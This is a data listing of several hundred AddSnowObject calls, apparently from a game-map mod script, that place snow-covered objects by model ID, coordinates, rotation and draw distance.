AddSnowObject(7998, 972.226, 1418.469, 7.804, 0.000, 0.000, 0.000, 227.3);
AddSnowObject(7999, 1637.390, 1355.459, 7.882, 0.000, 0.000, 0.000, 257.5);
AddSnowObject(8000, 1607.410, 1223.930, 7.890, 0.000, 0.000, 0.000, 288.1);
AddSnowObject(8001, 1647.390, 933.179, 8.257, 0.000, 0.000, 0.000, 247.6);
AddSnowObject(8002, 1637.380, 702.164, -17.812, 0.000, 0.000, 0.000, 287.6);
AddSnowObject(8003, 1161.290, 724.984, -16.007, 0.000, 0.000, 0.000, 259.9);
AddSnowObject(8004, 1394.300, 952.789, 7.859, 0.000, 0.000, 0.000, 265.5);
AddSnowObject(8005, 1367.380, 1122.599, 7.851, 0.000, 0.000, 0.000, 243.5);
AddSnowObject(8006, 1071.609, 1176.040, 7.851, 0.000, 0.000, 0.000, 278.8);
AddSnowObject(8007, 1167.530, 933.195, 10.617, 0.000, 0.000, 0.000, 284.0);
AddSnowObject(8008, 996.421, 936.046, 10.773, 0.000, 0.000, 0.000, 237.4);
AddSnowObject(8009, 1537.430, 1023.229, 9.781, 0.000, 0.000, 0.000, 172.1);
AddSnowObject(8010, 1007.400, 1503.229, 9.742, 0.000, 0.000, 0.000, 200.4);
AddSnowObject(8033, 1347.390, 1269.290, 7.929, 0.000, 0.000, 0.000, 228.7);
AddSnowObject(8034, 1319.099, 1246.439, 14.507, 0.000, 0.000, 0.000, 135.8);
AddSnowObject(8035, 1607.400, 1793.229, 10.335, 0.000, 0.000, 0.000, 176.1);
AddSnowObject(8036, 1687.410, 1213.229, 9.781, 0.000, 0.000, 0.000, 186.0);
AddSnowObject(8037, 1707.400, 1203.219, 9.687, 0.000, 0.000, 0.000, 178.0);
AddSnowObject(8038, 1291.280, 1610.550, 29.937, 0.000, 0.000, 0.000, 147.8);
AddSnowObject(8039, 1724.390, 1552.930, 8.500, 0.000, 0.000, 0.000, 192.2);
AddSnowObject(8040, 1677.430, 1301.839, 10.585, 0.000, 0.000, 0.000, 144.2);
AddSnowObject(8043, 1700.859, 1758.339, 10.210, 0.000, 0.000, 0.000, 152.4);
AddSnowObject(8044, 1714.300, 1452.150, 14.765, 0.000, 0.000, 0.000, 172.5);
AddSnowObject(8045, 1217.380, 1753.229, 6.515, 0.000, 0.000, 0.000, 136.0);
AddSnowObject(8046, 1217.380, 1623.229, 6.531, 0.000, 0.000, 0.000, 201.9);
AddSnowObject(8047, 1217.390, 1443.229, 6.531, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(8048, 1217.390, 1303.229, 6.531, 0.000, 0.000, 0.000, 163.2);
AddSnowObject(8049, 1677.390, 843.226, 8.484, 0.000, 0.000, 0.000, 202.0);
AddSnowObject(8050, 1797.380, 1613.229, 6.531, 0.000, 0.000, 0.000, 192.1);
AddSnowObject(8051, 1797.390, 1743.229, 6.515, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(8052, 1797.390, 1443.229, 6.531, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(8053, 1797.390, 1283.229, 6.531, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(8054, 1797.390, 1093.229, 6.531, 0.000, 0.000, 0.000, 211.8);
AddSnowObject(8055, 1797.400, 903.195, 8.500, 0.000, 0.000, 0.000, 182.5);
AddSnowObject(8056, 1735.859, 519.156, 25.156, 0.000, 0.000, 0.000, 226.3);
AddSnowObject(8070, 1567.390, 713.226, 9.742, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(8071, 1667.479, 723.085, 10.937, 0.000, 0.000, 0.000, 208.3);
AddSnowObject(8072, 1394.880, 712.117, -16.773, 0.000, 0.000, 0.000, 268.5);
AddSnowObject(8079, 1607.390, 1774.900, 23.062, 0.000, 0.000, 0.000, 160.5);
AddSnowObject(8080, 1077.400, 1193.199, 9.781, 0.000, 0.000, 0.000, 183.3);
AddSnowObject(8091, 1739.390, 1453.589, 8.070, 0.000, 0.000, 0.000, 271.3);
AddSnowObject(8128, 1735.880, 519.007, 4.359, 0.000, 0.000, 0.000, 233.1);
AddSnowObject(8133, 1377.380, 730.617, 10.242, 0.000, 0.000, 0.000, 170.3);
AddSnowObject(8134, 1477.390, 730.593, 10.859, 0.000, 0.000, 0.000, 204.6);
AddSnowObject(8135, 1457.380, 680.390, 9.781, 0.000, 0.000, 0.000, 206.7);
AddSnowObject(8136, 1038.229, 1263.949, 14.687, 0.000, 0.000, 0.000, 144.9);
AddSnowObject(8137, 1347.380, 713.210, 9.781, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(8147, 1257.489, 1596.020, 12.820, 0.000, 0.000, 0.000, 173.2);
AddSnowObject(8148, 1257.520, 1442.229, 12.820, 0.000, 0.000, 0.000, 181.2);
AddSnowObject(8149, 1257.489, 1282.060, 12.820, 0.000, 0.000, 0.000, 175.4);
AddSnowObject(8150, 1520.250, 1142.979, 12.820, 0.000, 0.000, 0.000, 163.2);
AddSnowObject(8151, 1526.089, 1823.619, 14.085, 0.000, 0.000, 0.000, 151.5);
AddSnowObject(8152, 1377.339, 1173.329, 12.820, 0.000, 0.000, 0.000, 185.5);
AddSnowObject(8153, 1696.020, 1317.989, 13.593, 0.000, 0.000, 0.000, 141.1);
AddSnowObject(8154, 1610.579, 1184.979, 12.820, 0.000, 0.000, 0.000, 150.7);
AddSnowObject(8155, 1657.510, 1255.589, 13.640, 0.000, 0.000, 0.000, 134.3);
AddSnowObject(8165, 1719.410, 1672.390, 12.140, 0.000, 0.000, 0.000, 146.0);
AddSnowObject(8171, 1477.380, 1586.619, 9.812, 0.000, 0.000, 0.000, 171.9);
AddSnowObject(8172, 1477.390, 1223.880, 9.835, 0.000, 0.000, 0.000, 183.1);
AddSnowObject(8186, 1667.189, 1123.410, 11.921, 0.000, 0.000, 0.000, 190.3);
AddSnowObject(8189, 1757.229, 1003.409, 11.921, 0.000, 0.000, 0.000, 220.0);
AddSnowObject(8198, 1117.400, 1673.229, 7.820, 0.000, 0.000, 0.000, 252.6);
AddSnowObject(8199, 992.210, 1666.089, 10.664, 0.000, 0.000, 0.000, 243.6);
AddSnowObject(8200, 1167.380, 1423.229, 7.851, 0.000, 0.000, 0.000, 220.4);
AddSnowObject(8201, 1097.119, 1529.689, 28.125, 0.000, 0.000, 0.000, 204.0);
AddSnowObject(8202, 1097.390, 1633.260, 8.343, 0.000, 0.000, 0.000, 206.3);
AddSnowObject(8209, 1447.380, 1863.359, 12.820, 0.000, 0.000, 0.000, 150.0);
AddSnowObject(8212, 920.632, 725.601, 10.320, 0.000, 0.000, 0.000, 205.8);
AddSnowObject(8213, 1250.560, 817.070, 7.796, 0.000, 0.000, 0.000, 267.5);
AddSnowObject(8214, 1213.880, 900.203, 9.671, 0.000, 0.000, 0.000, 194.0);
AddSnowObject(8215, 1137.609, 929.062, 7.867, 0.000, 0.000, 0.000, 235.5);
AddSnowObject(8216, 1296.260, 1056.619, 11.070, 0.000, 0.000, 0.000, 224.6);
AddSnowObject(8217, 1355.660, 860.250, 6.265, 0.000, 0.000, 0.000, 166.2);
AddSnowObject(8218, 1217.380, 1142.750, 6.585, 0.000, 0.000, 0.000, 202.4);
AddSnowObject(8219, 1496.910, 843.148, 6.585, 0.000, 0.000, 0.000, 184.2);
AddSnowObject(8228, 1097.390, 1293.229, 12.484, 0.000, 0.000, 0.000, 213.1);
AddSnowObject(8232, 1097.390, 1293.160, 9.742, 0.000, 0.000, 0.000, 213.2);
AddSnowObject(8236, 1077.380, 1303.229, 9.781, 0.000, 0.000, 0.000, 234.5);
AddSnowObject(8240, 1586.260, 1189.589, 23.445, 0.000, 0.000, 0.000, 156.6);
AddSnowObject(8244, 1165.020, 1723.239, 7.742, 0.000, 0.000, 0.000, 183.4);
AddSnowObject(8245, 1269.770, 1723.239, 7.742, 0.000, 0.000, 0.000, 183.4);
AddSnowObject(8246, 1727.599, 1753.540, 9.148, 0.000, 0.000, 0.000, 136.4);
AddSnowObject(8254, 1665.170, 687.046, 14.390, 0.000, 0.000, 0.000, 176.6);
AddSnowObject(8255, 1665.560, 753.828, 14.390, 0.000, 0.000, 0.000, 176.6);
AddSnowObject(8256, 1007.380, 1693.199, 9.843, 0.000, 0.000, 0.000, 190.5);
AddSnowObject(8262, 1313.109, 1726.520, 12.820, 0.000, 0.000, 0.000, 168.7);
AddSnowObject(8263, 1647.420, 1703.530, 12.820, 0.000, 0.000, 0.000, 160.2);
AddSnowObject(8264, 1647.390, 1063.170, 8.257, 0.000, 0.000, 0.000, 243.2);
AddSnowObject(8281, 1622.849, 1448.609, 19.398, 0.000, 0.000, 0.000, 239.8);
AddSnowObject(8283, 1477.390, 730.593, 10.859, 0.000, 0.000, 0.000, 203.6);
AddSnowObject(8285, 1477.390, 730.593, 10.859, 0.000, 0.000, 0.000, 175.7);
AddSnowObject(8286, 1477.390, 730.593, 10.859, 0.000, 0.000, 0.000, 168.2);
AddSnowObject(8287, 1477.390, 730.593, 10.859, 0.000, 0.000, 0.000, 160.9);
AddSnowObject(8288, 1097.390, 1473.400, 9.132, 0.000, 0.000, 0.000, 220.6);
AddSnowObject(8290, 1204.449, 859.515, 10.679, 0.000, 0.000, 0.000, 179.2);
AddSnowObject(3489, 1609.339, 1671.699, 16.437, 0.000, 0.000, 0.000, 134.1);
AddSnowObject(3489, 1677.300, 1671.699, 16.437, 0.000, 0.000, 0.000, 134.1);
AddSnowObject(8305, 1722.369, 1375.270, 9.726, 0.000, 0.000, 0.000, 194.4);
AddSnowObject(8306, 1087.390, 1753.219, 10.593, 0.000, 0.000, 0.000, 186.0);
AddSnowObject(8308, 1693.319, 1447.660, 10.125, 0.000, 0.000, 0.000, 163.5);
AddSnowObject(8333, 1097.119, 1529.689, 28.125, 0.000, 0.000, 0.000, 196.0);
AddSnowObject(8342, 1355.489, 1863.359, 12.820, 0.000, 0.000, 0.000, 143.2);
AddSnowObject(8343, 1413.040, 1704.050, 9.820, 0.000, 0.000, 0.000, 165.5);
AddSnowObject(8344, 1413.170, 1305.010, 9.820, 0.000, 0.000, 0.000, 178.4);
AddSnowObject(8345, 1583.979, 1516.719, 13.328, 0.000, 0.000, 0.000, 134.0);
AddSnowObject(8350, 1637.390, 1773.130, 7.867, 0.000, 0.000, 0.000, 266.4);
AddSnowObject(8351, 1367.390, 1759.500, 7.820, 0.000, 0.000, 0.000, 266.3);
AddSnowObject(8352, 1637.380, 1481.339, 7.898, 0.000, 0.000, 0.000, 255.2);
AddSnowObject(8353, 1347.380, 1393.219, 7.851, 0.000, 0.000, 0.000, 230.4);
AddSnowObject(8354, 1388.949, 1440.369, 9.820, 0.000, 0.000, 0.000, 186.0);
AddSnowObject(8355, 1388.939, 1586.619, 9.812, 0.000, 0.000, 0.000, 171.9);
AddSnowObject(8356, 1477.390, 1749.500, 9.835, 0.000, 0.000, 0.000, 195.8);
AddSnowObject(8357, 1477.390, 1411.050, 9.835, 0.000, 0.000, 0.000, 208.2);
AddSnowObject(8368, 1384.560, 903.664, 8.468, 0.000, 0.000, 0.000, 203.7);
AddSnowObject(8369, 1572.349, 1743.290, 14.085, 0.000, 0.000, 0.000, 143.1);
AddSnowObject(8377, 1567.390, 843.226, 10.078, 0.000, 0.000, 0.000, 162.5);
AddSnowObject(8378, 1586.260, 1222.699, 19.750, 0.000, 0.000, 0.000, 135.1);
AddSnowObject(8380, 1785.160, 723.367, 14.960, 0.000, 0.000, 0.000, 205.1);
AddSnowObject(8382, 1268.589, 913.007, 6.265, 0.000, 0.000, 0.000, 174.4);
AddSnowObject(8383, 1228.319, 997.062, 6.265, 0.000, 0.000, 0.000, 153.2);
AddSnowObject(8386, 1311.709, 913.859, 12.117, 0.000, 0.000, 0.000, 163.6);
AddSnowObject(8388, 1072.089, 802.515, 10.234, 0.000, 0.000, 0.000, 199.9);
AddSnowObject(8177, 1387.390, 958.257, 11.250, 0.000, 0.000, 0.000, 156.4);
AddSnowObject(8066, 1435.589, 952.585, 15.523, 0.000, 0.000, 0.000, 151.0);
AddSnowObject(8174, 1452.640, 943.156, 11.250, 0.000, 0.000, 0.000, 160.0);
AddSnowObject(8176, 1337.770, 1038.479, 11.250, 0.000, 0.000, 0.000, 147.4);
AddSnowObject(8067, 1447.410, 1056.189, 15.781, 0.000, 0.000, 0.000, 151.3);
AddSnowObject(8178, 1281.949, 1129.500, 10.625, 0.000, 0.000, 0.000, 154.5);
AddSnowObject(8074, 1316.260, 1129.380, 15.875, 0.000, 0.000, 0.000, 163.6);
AddSnowObject(8065, 1343.689, 1130.390, 13.531, 0.000, 0.000, 0.000, 152.2);
AddSnowObject(8175, 1357.199, 1183.510, 11.250, 0.000, 0.000, 0.000, 180.2);
AddSnowObject(8207, 1097.890, 1529.479, 27.898, 0.000, 0.000, 0.000, 181.4);
AddSnowObject(8208, 1097.890, 1529.479, 27.898, 0.000, 0.000, 0.000, 181.4);
AddSnowObject(8206, 1098.020, 1660.670, 12.046, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(8373, 1621.130, 607.898, -20.968, 0.000, 0.000, 0.000, 159.9);
AddSnowObject(8130, 1493.930, 751.015, 20.914, 0.000, 0.000, 0.000, 146.6);
AddSnowObject(8188, 1667.199, 883.414, 11.906, 0.000, 0.000, 0.000, 190.2);
AddSnowObject(8194, 1524.729, 974.835, 12.320, 0.000, 0.000, 0.000, 152.3);
AddSnowObject(8185, 1577.150, 1033.410, 11.921, 0.000, 0.000, 0.000, 189.9);
AddSnowObject(8057, 1606.680, 1031.660, 13.085, 0.000, 0.000, 0.000, 133.5);
AddSnowObject(8173, 1467.189, 1093.430, 11.250, 0.000, 0.000, 0.000, 195.1);
AddSnowObject(8187, 1627.180, 913.234, 11.921, 0.000, 0.000, 0.000, 158.5);
AddSnowObject(8058, 1621.630, 1094.800, 14.820, 0.000, 0.000, 0.000, 136.4);
AddSnowObject(8061, 1727.800, 1018.630, 14.820, 0.000, 0.000, 0.000, 136.4);
AddSnowObject(8060, 1715.500, 1094.800, 14.820, 0.000, 0.000, 0.000, 136.4);
AddSnowObject(8242, 1677.390, 1753.229, 14.171, 0.000, 0.000, 0.000, 138.4);
AddSnowObject(7416, 1347.900, 2149.550, 10.015, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(7417, 1357.520, 2159.169, 18.968, 0.000, 0.000, 0.000, 251.4);
AddSnowObject(7418, 1347.900, 2149.550, 10.015, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(7419, 1983.729, 2247.050, 3.554, 0.000, 0.000, 0.000, 159.8);
AddSnowObject(7420, 1177.390, 2753.229, 9.734, 0.000, 0.000, 0.000, 167.0);
AddSnowObject(7421, 1237.390, 2763.229, 9.726, 0.000, 0.000, 0.000, 156.5);
AddSnowObject(7422, 1367.290, 2793.229, 9.398, 0.000, 0.000, 0.000, 186.0);
AddSnowObject(7424, 1928.589, 2467.000, 9.820, 0.000, 0.000, 0.000, 207.5);
AddSnowObject(7427, 1059.719, 2513.969, 10.460, 0.000, 0.000, 0.000, 215.8);
AddSnowObject(7428, 1987.390, 2283.229, 9.742, 0.000, 0.000, 0.000, 183.2);
AddSnowObject(7429, 1667.380, 2243.229, 9.742, 0.000, 0.000, 0.000, 198.9);
AddSnowObject(7430, 1897.390, 2053.229, 9.742, 0.000, 0.000, 0.000, 185.4);
AddSnowObject(7431, 1577.390, 2243.229, 9.781, 0.000, 0.000, 0.000, 163.2);
AddSnowObject(7432, 1317.390, 2003.229, 9.742, 0.000, 0.000, 0.000, 199.9);
AddSnowObject(7433, 1487.390, 1973.229, 9.742, 0.000, 0.000, 0.000, 227.2);
AddSnowObject(7434, 1367.390, 1843.229, 9.742, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(7435, 1647.380, 1953.229, 9.671, 0.000, 0.000, 0.000, 214.0);
AddSnowObject(7436, 1818.969, 2420.409, 9.992, 0.000, 0.000, 0.000, 180.3);
AddSnowObject(7437, 1723.800, 2430.120, 5.843, 0.000, 0.000, 0.000, 211.6);
AddSnowObject(7438, 1269.890, 1903.219, 7.742, 0.000, 0.000, 0.000, 206.0);
AddSnowObject(7439, 1164.890, 1903.219, 7.742, 0.000, 0.000, 0.000, 206.0);
AddSnowObject(7440, 1250.560, 2489.449, 7.726, 0.000, 0.000, 0.000, 269.3);
AddSnowObject(7441, 1295.699, 2406.229, 9.304, 0.000, 0.000, 0.000, 278.7);
AddSnowObject(7442, 1137.609, 2377.449, 7.796, 0.000, 0.000, 0.000, 235.6);
AddSnowObject(7443, 1251.589, 2307.550, 9.093, 0.000, 0.000, 0.000, 304.2);
AddSnowObject(7444, 1057.390, 1993.229, 9.882, 0.000, 0.000, 0.000, 178.1);
AddSnowObject(7445, 1477.380, 2463.229, 10.078, 0.000, 0.000, -0.000, 162.5);
AddSnowObject(7446, 1277.390, 2603.229, 9.742, 0.000, 0.000, 0.000, 208.7);
AddSnowObject(7447, 1977.390, 2403.219, 9.726, 0.000, 0.000, 0.000, 214.8);
AddSnowObject(7448, 1427.300, 2857.719, 24.054, 0.000, 0.000, 0.000, 287.2);
AddSnowObject(7449, 1637.390, 2863.229, 9.820, 0.000, 0.000, 0.000, 300.5);
AddSnowObject(7450, 1877.390, 2863.229, 9.820, 0.000, 0.000, 0.000, 287.4);
AddSnowObject(7451, 2058.300, 2875.340, 17.164, 0.000, 0.000, 0.000, 262.5);
AddSnowObject(7452, 2037.579, 2617.699, 7.898, 0.000, 0.000, 0.000, 221.7);
AddSnowObject(7453, 1881.229, 2618.159, 9.492, 0.000, 0.000, 0.000, 266.6);
AddSnowObject(7454, 1642.900, 2614.919, 7.984, 0.000, 0.000, 0.000, 272.5);
AddSnowObject(7455, 1403.400, 2613.280, 7.851, 0.000, 0.000, 0.000, 275.1);
AddSnowObject(7456, 1159.380, 2613.800, 8.367, 0.000, 0.000, 0.000, 279.5);
AddSnowObject(7457, 915.804, 2618.979, 9.781, 0.000, 0.000, 0.000, 256.2);
AddSnowObject(7458, 918.039, 2383.229, 9.820, 0.000, 0.000, 0.000, 260.4);
AddSnowObject(7459, 1181.060, 2383.360, 9.265, 0.000, 0.000, 0.000, 295.0);
AddSnowObject(7460, 1377.380, 2351.629, 7.859, 0.000, 0.000, 0.000, 267.4);
AddSnowObject(7461, 1682.839, 2515.590, 7.984, 0.000, 0.000, 0.000, 195.4);
AddSnowObject(7462, 1641.849, 2363.729, 7.898, 0.000, 0.000, 0.000, 252.8);
AddSnowObject(7463, 1879.689, 2387.739, 7.898, 0.000, 0.000, 0.000, 299.6);
AddSnowObject(7464, 2040.060, 2385.909, 9.820, 0.000, 0.000, 0.000, 229.8);
AddSnowObject(7465, 2047.390, 2152.629, 9.820, 0.000, 0.000, 0.000, 239.4);
AddSnowObject(7466, 1877.390, 2143.229, 7.851, 0.000, 0.000, 0.000, 274.1);
AddSnowObject(7467, 1637.390, 2143.219, 9.820, 0.000, 0.000, 0.000, 300.0);
AddSnowObject(7468, 1457.390, 2063.219, 9.820, 0.000, 0.000, 0.000, 172.1);
AddSnowObject(7469, 1167.390, 2143.229, 7.851, 0.000, 0.000, 0.000, 284.8);
AddSnowObject(7470, 917.437, 2143.229, 9.820, 0.000, 0.000, 0.000, 256.2);
AddSnowObject(7471, 917.390, 1903.219, 9.820, 0.000, 0.000, 0.000, 259.4);
AddSnowObject(7472, 1167.390, 1903.130, 7.820, 0.000, 0.000, 0.000, 273.4);
AddSnowObject(7473, 1397.390, 1903.229, 8.843, 0.000, 0.000, 0.000, 277.1);
AddSnowObject(7474, 1607.390, 1953.219, 9.820, 0.000, 0.000, 0.000, 214.0);
AddSnowObject(7475, 1876.050, 1893.229, 7.812, 0.000, 0.000, 0.000, 300.8);
AddSnowObject(7476, 1767.390, 2763.229, 9.742, 0.000, 0.000, 0.000, 245.2);
AddSnowObject(7477, 1557.390, 2723.229, 9.742, 0.000, 0.000, 0.000, 258.9);
AddSnowObject(7478, 1456.550, 2564.340, 9.742, 0.000, 0.000, 0.000, 194.5);
AddSnowObject(7479, 1357.390, 2733.229, 9.742, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(7480, 2007.390, 2733.229, 9.742, 0.000, 0.000, 0.000, 236.0);
AddSnowObject(7481, 1927.380, 2233.229, 9.742, 0.000, 0.000, 0.000, 182.7);
AddSnowObject(7482, 1557.390, 2123.229, 9.742, 0.000, 0.000, 0.000, 185.2);
AddSnowObject(7483, 1477.390, 2353.229, 9.765, 0.000, 0.000, 0.000, 211.8);
AddSnowObject(7484, 1717.380, 2093.229, 9.742, 0.000, 0.000, 0.000, 172.8);
AddSnowObject(7485, 1217.380, 1833.280, 5.867, 0.000, 0.000, 0.000, 153.8);
AddSnowObject(7486, 1017.440, 2343.229, 9.882, 0.000, 0.000, 0.000, 244.2);
AddSnowObject(7498, 1109.949, 2663.229, 9.921, 0.000, 0.000, 0.000, 231.2);
AddSnowObject(7514, 1647.380, 2353.290, 11.070, 0.000, 0.000, 0.000, 214.5);
AddSnowObject(7517, 1477.359, 2353.239, 11.609, 0.000, 0.000, 0.000, 185.6);
AddSnowObject(7536, 1816.660, 2827.370, 9.085, 0.000, 0.000, 0.000, 222.5);
AddSnowObject(7537, 1790.800, 2735.639, 9.835, 0.000, 0.000, 0.000, 205.7);
AddSnowObject(7538, 1859.829, 2848.770, 12.046, 0.000, 0.000, 0.000, 143.4);
AddSnowObject(7539, 1877.800, 2075.560, 9.937, 0.000, 0.000, 0.000, 144.8);
AddSnowObject(7544, 1337.219, 2429.780, 6.187, 0.000, 0.000, 0.000, 198.6);
AddSnowObject(7545, 1217.380, 2214.800, 6.187, 0.000, 0.000, 0.000, 153.3);
AddSnowObject(7546, 1217.380, 1973.229, 6.515, 0.000, 0.000, 0.000, 192.1);
AddSnowObject(7547, 1497.010, 2463.370, 6.187, 0.000, 0.000, 0.000, 182.9);
AddSnowObject(7548, 1874.770, 2513.419, 6.265, 0.000, 0.000, 0.000, 179.0);
AddSnowObject(7549, 1640.319, 2468.679, 6.242, 0.000, 0.000, 0.000, 173.8);
AddSnowObject(7550, 1797.380, 2263.229, 5.085, 0.000, 0.000, 0.000, 184.0);
AddSnowObject(7551, 1797.380, 2103.229, 3.671, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(7552, 1797.380, 1943.239, 5.093, 0.000, 0.000, 0.000, 153.8);
AddSnowObject(7553, 1942.390, 1753.229, 7.859, 0.000, 0.000, 0.000, 228.5);
AddSnowObject(7555, 1110.930, 2255.979, 13.492, 0.000, 0.000, 0.000, 201.7);
AddSnowObject(7557, 1235.359, 2927.129, 20.921, 0.000, 0.000, 0.000, 247.9);
AddSnowObject(7558, 1507.390, 1833.229, 9.742, 0.000, 0.000, 0.000, 202.9);
AddSnowObject(7559, 1667.390, 1833.229, 9.742, 0.000, 0.000, 0.000, 178.1);
AddSnowObject(7579, 2036.839, 1817.310, 11.226, 0.000, 0.000, 0.000, 186.1);
AddSnowObject(7580, 1982.390, 2013.229, 9.742, 0.000, 0.000, 0.000, 210.0);
AddSnowObject(7582, 1898.630, 1967.699, 8.203, 0.000, 0.000, 0.000, 173.8);
AddSnowObject(7584, 1947.380, 1916.199, 78.195, 0.000, 0.000, 0.000, 209.6);
AddSnowObject(7585, 1975.650, 1892.089, 16.523, 0.000, 0.000, 0.000, 248.9);
AddSnowObject(7590, 1860.589, 1886.400, 8.554, 0.000, 0.000, 0.000, 170.8);
AddSnowObject(7591, 2012.400, 1984.239, 11.078, 0.000, 0.000, 0.000, 202.1);
AddSnowObject(7592, 2107.629, 1916.229, 10.382, 0.000, 0.000, 0.000, 146.1);
AddSnowObject(7593, 1977.410, 1743.300, 11.226, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(7600, 1277.390, 2843.229, 9.726, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(7601, 1296.130, 2773.229, 9.726, 0.000, 0.000, 0.000, 154.3);
AddSnowObject(7602, 1237.390, 2813.229, 9.726, 0.000, 0.000, 0.000, 150.0);
AddSnowObject(7603, 1177.390, 2842.649, 9.734, 0.000, 0.000, 0.000, 163.4);
AddSnowObject(7604, 1157.390, 2793.229, 9.734, 0.000, 0.000, 0.000, 150.0);
AddSnowObject(7605, 1485.719, 2773.229, 9.742, 0.000, 0.000, 0.000, 153.3);
AddSnowObject(7616, 1327.390, 2133.219, 9.085, 0.000, 0.000, 0.000, 199.0);
AddSnowObject(7618, 1017.570, 2123.080, 13.265, 0.000, 0.000, 0.000, 185.6);
AddSnowObject(7625, 1943.430, 2582.250, 12.976, 0.000, 0.000, 0.000, 212.2);
AddSnowObject(7626, 1877.380, 2614.270, 9.921, 0.000, 0.000, 0.000, 214.6);
AddSnowObject(7628, 997.164, 2143.270, 13.648, 0.000, 0.000, 0.000, 181.0);
AddSnowObject(7629, 1657.410, 2603.379, 9.742, 0.000, 0.000, 0.000, 222.3);
AddSnowObject(7630, 1929.680, 1772.510, 20.585, 0.000, 0.000, 0.000, 155.6);
AddSnowObject(7631, 2137.379, 1957.699, 9.812, 0.000, 0.000, 0.000, 162.2);
AddSnowObject(7632, 2137.389, 2163.229, 9.796, 0.000, 0.000, 0.000, 167.0);
AddSnowObject(7633, 2077.389, 2303.199, 9.742, 0.000, 0.000, 0.000, 199.9);
AddSnowObject(7634, 2117.379, 1843.229, 9.796, 0.000, 0.000, 0.000, 178.1);
AddSnowObject(7635, 1985.359, 1764.329, 20.617, 0.000, 0.000, 0.000, 153.1);
AddSnowObject(7636, 1896.800, 1796.260, 20.617, 0.000, 0.000, 0.000, 136.2);
AddSnowObject(7650, 1711.790, 1823.770, 19.460, 0.000, 0.000, 0.000, 149.8);
AddSnowObject(7651, 1736.680, 1954.060, 13.203, 0.000, 0.000, 0.000, 242.3);
AddSnowObject(7660, 1884.640, 1960.630, 15.468, 0.000, 0.000, 0.000, 146.0);
AddSnowObject(7661, 1894.660, 2010.510, 15.468, 0.000, 0.000, 0.000, 154.1);
AddSnowObject(7663, 1949.030, 2068.780, 12.109, 0.000, 0.000, 0.000, 139.8);
AddSnowObject(7729, 1744.890, 1803.209, 7.734, 0.000, 0.000, 0.000, 161.1);
AddSnowObject(7730, 1797.380, 1873.219, 6.507, 0.000, 0.000, 0.000, 172.8);
AddSnowObject(7731, 1849.890, 1803.209, 7.734, 0.000, 0.000, 0.000, 188.4);
AddSnowObject(7755, 1797.390, 2053.229, 10.078, 0.000, 0.000, 0.000, 197.7);
AddSnowObject(7849, 2027.380, 2563.219, 10.070, 0.000, 0.000, -0.000, 167.3);
AddSnowObject(7852, 1217.410, 2053.219, 10.078, 0.000, 0.000, 89.999, 162.5);
AddSnowObject(7854, 1797.390, 2273.219, 10.070, 0.000, 0.000, 89.999, 162.5);
AddSnowObject(7863, 947.390, 2043.219, 9.781, 0.000, 0.000, 0.000, 211.8);
AddSnowObject(7864, 957.390, 1893.229, 9.781, 0.000, 0.000, 0.000, 178.1);
AddSnowObject(7865, 1057.390, 1813.229, 9.781, 0.000, 0.000, 0.000, 167.0);
AddSnowObject(7866, 1077.390, 2083.229, 9.781, 0.000, 0.000, 0.000, 189.4);
AddSnowObject(7867, 957.390, 2173.229, 9.781, 0.000, 0.000, 0.000, 178.1);
AddSnowObject(7868, 917.437, 2333.229, 9.781, 0.000, 0.000, 0.000, 211.8);
AddSnowObject(7878, 1632.920, 2522.770, 9.148, 0.000, 0.000, 0.000, 242.7);
AddSnowObject(7880, 1415.469, 2184.659, 8.812, 0.000, 0.000, 0.000, 284.9);
AddSnowObject(7881, 1217.410, 1813.219, 10.078, 0.000, 0.000, 89.999, 162.5);
AddSnowObject(7882, 1087.390, 2869.270, -36.617, 0.000, 0.000, 0.000, 315.7);
AddSnowObject(7889, 1713.310, 1893.349, 8.140, 0.000, 0.000, 0.000, 232.4);
AddSnowObject(7938, 1796.060, 2529.939, 10.062, 0.000, 0.000, 0.000, 147.9);
AddSnowObject(7945, 2134.860, 2057.699, 9.789, 0.000, 0.000, 0.000, 153.2);
AddSnowObject(7947, 1055.020, 2913.729, 39.742, 0.000, 0.000, 0.000, 169.5);
AddSnowObject(7950, 2013.380, 2913.729, 39.742, 0.000, 0.000, 0.000, 169.5);
AddSnowObject(7963, 2003.300, 2550.620, 6.242, 0.000, 0.000, 0.000, 179.9);
AddSnowObject(7965, 1758.949, 2484.790, 6.281, 0.000, 0.000, 0.000, 163.3);
AddSnowObject(7967, 1242.050, 2335.270, 6.187, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(7969, 1217.380, 2114.270, 6.187, 0.000, 0.000, 0.000, 154.8);
AddSnowObject(7490, 1659.949, 2324.629, 14.890, 0.000, 0.000, 0.000, 151.0);
AddSnowObject(7837, 1656.790, 2642.719, 12.890, 0.000, 0.000, 0.000, 160.4);
AddSnowObject(7499, 1745.910, 2665.229, 9.921, 0.000, 0.000, 0.000, 220.4);
AddSnowObject(3455, 1811.339, 2577.550, 12.976, 0.000, 0.000, 0.000, 135.5);
AddSnowObject(3501, 1743.339, 2755.820, 13.015, 0.000, 0.000, 14.999, 130.0);
AddSnowObject(7842, 1767.709, 2670.989, 12.890, 0.000, 0.000, 0.000, 156.8);
AddSnowObject(3501, 1789.630, 2755.840, 13.015, 0.000, 0.000, -14.999, 130.0);
AddSnowObject(3501, 1728.270, 2812.060, 13.015, 0.000, 0.000, 14.999, 130.0);
AddSnowObject(3501, 1804.699, 2812.070, 13.015, 0.000, 0.000, -14.999, 130.0);
AddSnowObject(7535, 1767.589, 2863.020, 13.007, 0.000, 0.000, 0.000, 147.5);
AddSnowObject(7491, 1877.390, 2335.479, 12.421, 0.000, 0.000, 0.000, 165.8);
AddSnowObject(3457, 1935.030, 2618.320, 12.976, 0.000, 0.000, 0.000, 144.2);
AddSnowObject(7658, 1957.390, 2304.830, 9.820, 0.000, 0.000, 0.000, 134.1);
